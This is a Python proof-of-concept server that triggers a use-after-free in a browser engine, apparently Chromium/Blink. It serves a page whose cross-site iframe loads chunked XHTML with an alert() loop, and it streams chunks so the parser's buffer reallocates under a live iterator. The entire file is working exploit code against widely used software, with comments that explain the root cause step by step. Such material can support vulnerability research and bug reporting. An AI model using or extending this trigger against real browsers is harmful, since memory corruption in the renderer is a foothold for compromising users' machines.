#!/usr/bin/env python3
"""
HTTP server for the SegmentedBuffer iterator UAF POC.

Serves two resources:
  /index.html      - top-level page (load this from http://a.test:8080/index.html)
  /payload.xhtml   - cross-site OOPIF payload (loaded from http://b.test:8080/)

The XHTML payload is delivered with Transfer-Encoding: chunked. The first
chunk contains an inline <script> that calls alert() in a loop. While that
script runs synchronously inside XMLDocumentParser (under
DocumentLoader::ProcessDataBuffer's range-for over the SegmentedBuffer),
the server continuously streams further small chunks. Each alert() destroys
a ScopedPagePauser whose dtor calls SetDefersLoading(kNone) ->
NavigationBodyLoader::OnReadable -> data_buffer_->Append(), reallocating
the Vector<Segment> backing store and dangling the range-for iterator.
"""

import socket
import threading
import time
import sys

HOST = "127.0.0.1"
PORT = 18888

INDEX_HTML = b"""<!DOCTYPE html>
<html>
<head><title>top</title></head>
<body>
<h1>SegmentedBuffer iterator UAF</h1>
<iframe src="http://b.test:18888/payload.xhtml" width="400" height="300"></iframe>
</body>
</html>
"""

# First XHTML chunk: contains the full inline <script>...</script>.
# XMLDocumentParser executes the script SYNCHRONOUSLY when it parses the
# </script> end tag, while still inside CommitData() for this segment.
# In XML, '<' inside <script> must be escaped as &lt; (or use CDATA).
XHTML_HEAD = (
    b'<?xml version="1.0" encoding="UTF-8"?>\n'
    b'<html xmlns="http://www.w3.org/1999/xhtml"><head><title>p</title></head>'
    b'<body><p>start</p>'
    b'<script>for (var i = 0; i &lt; 400; i++) { alert(1); }</script>'
)

# Subsequent body chunks: well-formed XHTML fragments so the XML parser
# doesn't error out. Streamed continuously while the alert() loop runs.
XHTML_TAIL_CHUNK = b'<p>x</p>'


def http_chunk(data: bytes) -> bytes:
    return ("%x\r\n" % len(data)).encode() + data + b"\r\n"


def serve_index(conn):
    resp = (
        b"HTTP/1.1 200 OK\r\n"
        b"Content-Type: text/html; charset=utf-8\r\n"
        b"Content-Length: %d\r\n"
        b"Connection: close\r\n"
        b"\r\n" % len(INDEX_HTML)
    ) + INDEX_HTML
    conn.sendall(resp)
    conn.close()


def serve_xhtml(conn):
    # Send headers + first chunk in one write so the body data pipe is
    # already populated when the renderer commits the navigation and
    # synchronously calls NavigationBodyLoader::OnReadable from
    # StartLoadingBody (BindURLLoaderAndStartLoadingResponseBodyIfPossible).
    hdr = (
        b"HTTP/1.1 200 OK\r\n"
        b"Content-Type: application/xhtml+xml; charset=utf-8\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"Cache-Control: no-store\r\n"
        b"Connection: close\r\n"
        b"\r\n"
    )
    try:
        conn.sendall(hdr + http_chunk(XHTML_HEAD))
        # Give the browser time to commit the navigation and the renderer to
        # buffer the first segment while the OOPIF parser is blocked
        # (DidCreateLocalRootView -> BlockParser, no widget size yet).
        time.sleep(0.05)

        # Continuously stream small chunks. Each one that lands in the Mojo
        # data pipe during an alert() call gets Append()ed reentrantly via
        # ScopedPagePauser dtor -> SetDefersLoading(kNone) -> OnReadable.
        # ~600 chunks over ~9s, well past WTF::Vector reallocation thresholds.
        for _ in range(600):
            conn.sendall(http_chunk(XHTML_TAIL_CHUNK))
            time.sleep(0.015)

        conn.sendall(http_chunk(b"</body></html>"))
        conn.sendall(b"0\r\n\r\n")
    except (BrokenPipeError, ConnectionResetError, OSError):
        pass
    finally:
        try:
            conn.close()
        except OSError:
            pass


def serve_404(conn):
    body = b"not found"
    resp = (
        b"HTTP/1.1 404 Not Found\r\n"
        b"Content-Type: text/plain\r\n"
        b"Content-Length: %d\r\n"
        b"Connection: close\r\n"
        b"\r\n" % len(body)
    ) + body
    try:
        conn.sendall(resp)
    finally:
        conn.close()


def handle(conn, addr):
    try:
        conn.settimeout(5)
        data = b""
        while b"\r\n\r\n" not in data:
            chunk = conn.recv(4096)
            if not chunk:
                conn.close()
                return
            data += chunk
        line0 = data.split(b"\r\n", 1)[0].decode("latin-1", "replace")
        parts = line0.split()
        path = parts[1] if len(parts) > 1 else "/"
        sys.stderr.write("[server] %s\n" % line0)
        sys.stderr.flush()
        conn.settimeout(None)
    except Exception as e:
        sys.stderr.write("[server] recv error: %r\n" % e)
        try:
            conn.close()
        except OSError:
            pass
        return

    if path.startswith("/index.html") or path == "/":
        serve_index(conn)
    elif path.startswith("/payload.xhtml"):
        serve_xhtml(conn)
    else:
        serve_404(conn)


def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(16)
    sys.stderr.write("[server] listening on http://%s:%d/\n" % (HOST, PORT))
    sys.stderr.flush()
    while True:
        conn, addr = s.accept()
        t = threading.Thread(target=handle, args=(conn, addr), daemon=True)
        t.start()


if __name__ == "__main__":
    main()